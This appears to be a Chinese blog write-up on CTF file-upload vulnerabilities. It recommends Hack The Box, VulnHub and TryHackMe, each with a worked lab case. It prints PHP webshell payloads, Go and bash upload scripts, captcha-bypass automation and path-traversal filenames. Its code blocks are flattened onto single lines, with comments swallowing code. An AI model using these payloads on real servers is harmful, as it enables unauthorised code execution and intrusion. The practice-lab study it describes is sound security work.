一、从真实攻防案例说起
某次CTF比赛中,有一道名为“文件快递员”的Web题目让我印象深刻。题目描述了一个在线文件上传平台,用户可以通过它上传文件并获得一个下载链接,但后台存在某种逻辑错误,导致攻击者能够利用文件上传功能实现代码执行。比赛中,我利用这个漏洞成功Get了flag,并对整个攻击链进行了详细复盘。
这类文件上传漏洞往往出现在实际的Web系统中,且利用方式多样,非常具有研究价值。在今天的文章中,我会结合这次比赛的经验,分享几个适合练习文件上传漏洞的CTF平台,并附上相关利用案例和技术细节。
---
二、0x01 攻防演练的最佳场所
CTF比赛平台是安全技术爱好者提升实战能力的绝佳场所。它们不仅提供了海量的漏洞练习机会,还能帮助你了解攻击链的完整流程。以下是我个人推荐的几个CTF平台,每个平台都有其独特的技术亮点和实战案例。
1. Hack The Box:主机渗透的“游乐场”
Hack The Box(HTB)以主机渗透和内网突破为主,适合想要练习综合性攻击链的选手。平台上的靶机覆盖了从Web到网络协议的各种漏洞场景。

实战案例:从文件上传到RCE
一次HTB挑战中,我们需要攻破一台Apache服务器,起点是一个文件上传功能。通过Burp Suite拦截上传请求,我发现服务器对文件后缀名进行了严格检查,只允许上传.png格式的文件。然而上传的文件并未经过内容检查,于是我尝试在文件中嵌入PHP代码,并通过以下方式绕过后缀名限制:
<pre><code class="language-go">// Go语言实现文件后缀名伪造 package main
import ( "os" "fmt" )
func main() { // 创建伪造PNG文件 payload := "<?php system($_GET['cmd']); ?>" file, err := os.Create("exploit.png") if err != nil { fmt.Println("创建文件失败:", err) return }
file.WriteString("PNG HEADER BYPASS\n") file.WriteString(payload) file.Close()
fmt.Println("伪造文件创建成功: exploit.png") }</code></pre>
上传exploit.png后,通过访问http://target/uploads/exploit.png?cmd=id,成功执行了id命令,进一步利用命令执行权限实现了内网渗透。这种文件上传绕过方式在HTB靶机中非常常见。
---
2. VulnHub:漏洞场景的“宝藏库”
VulnHub是一家免费提供渗透测试靶机的平台,用户可以下载虚拟机并在本地搭建靶场。与HTB不同,VulnHub更偏向于真实环境模拟,适合练习复杂漏洞链。
实战案例:绕过图片验证码触发漏洞
某个靶机中,为了防止恶意上传,上传接口加入了图片验证码机制,但开发者的验证逻辑存在疏漏。我通过以下Shell脚本自动破解了验证码:
<pre><code class="language-bash">#!/bin/bash
自动化解码图片验证码
for i in {1..100} do
下载验证码图片
curl -s -o captcha.png http://target/captcha
OCR识别验证码
captcha=$(tesseract captcha.png stdout 2>/dev/null | tr -d '\n')
提交验证码并上传恶意文件
curl -s -F "[email protected]" -F "captcha=${captcha}" http://target/upload done</code></pre>
通过这种方式,我成功绕过了验证码限制并上传了WebShell文件,实现了进一步的权限提升。

---
3. TryHackMe:适合初学者的启航平台
TryHackMe以引导式靶场著称,非常适合刚入门的安全爱好者。它的场景设计清晰,每个步骤都有详细的提示,非常适合系统性学习。
实战案例:文件名拼接漏洞
某TryHackMe题目模拟了一个文件上传功能,但开发者在保存文件时,将用户上传的文件名与路径直接拼接,导致了路径穿越漏洞。例如,上传文件名为../../shell.php时,文件会被写入目标目录/var/www/html/shell.php。
以下是构造Payload的简单示例:
<pre><code class="language-go">// Go语言生成路径穿越Payload package main
import ( "net/http" "bytes" "fmt" )

func main() { url := "http://target/upload"
// 构造路径穿越文件名 filename := "../../shell.php" payload := "<?php echo shell_exec($_GET['cmd']); ?>" body := &bytes.Buffer{} body.WriteString("--boundary\n") body.WriteString("Content-Disposition: form-data; name=\"file\"; filename=\"" + filename + "\"\n\n") body.WriteString(payload + "\n") body.WriteString("--boundary--\n")
req, _ := http.NewRequest("POST", url, body) req.Header.Set("Content-Type", "multipart/form-data; boundary=boundary") resp, _ := http.DefaultClient.Do(req)
fmt.Println("上传结果:", resp.Status) }</code></pre>
通过这种路径穿越漏洞,我将WebShell写入了目标路径,并最终完成了整个靶机的渗透流程。
---
三、Payload构造的艺术
了解CTF平台后,我们还需要掌握Payload的构造技巧。文件上传漏洞的Payload构造直接影响攻击结果。以下是常见的几种构造方式:
1. 后缀名绕过
通过伪造文件后缀名绕过验证,如.php改为.php;.jpg。
<pre><code class="language-bash">mv shell.php shell.php.jpg curl -F "[email protected]" http://target/upload</code></pre>
2. MIME类型伪造
一些平台会验证文件的MIME类型,使用Burp Suite即可轻松篡改。
<pre><code class="language-bash">POST /upload HTTP/1.1 Content-Type: image/png Content-Disposition: form-data; name="file"; filename="shell.php"
<?php echo shell_exec($_GET['cmd']); ?></code></pre>
3. 文件名混淆
利用文件名中的特殊符号干扰解析逻辑,例如..%2fshell.php。
---
四、个人经验分享
通过多年的CTF比赛经验,我总结出以下几点心得:
- 不要忽略细节:文件上传漏洞通常隐藏在细小的逻辑疏漏中,比如文件名、路径处理。
- 灵活使用工具:Burp Suite、Go、Python都是构造Payload的利器,但手动分析仍是根本。
- 多复盘:比赛后一定要复盘,分析攻击链中的每个环节,提炼出通用的利用模式。
CTF比赛不仅让人过瘾,还能让你在实战中学习到最新的攻击技巧。在这里推荐的几个平台,都是我认为最值得投入时间的练习场所。希望你也能从中找到乐趣,提升自己的攻击能力!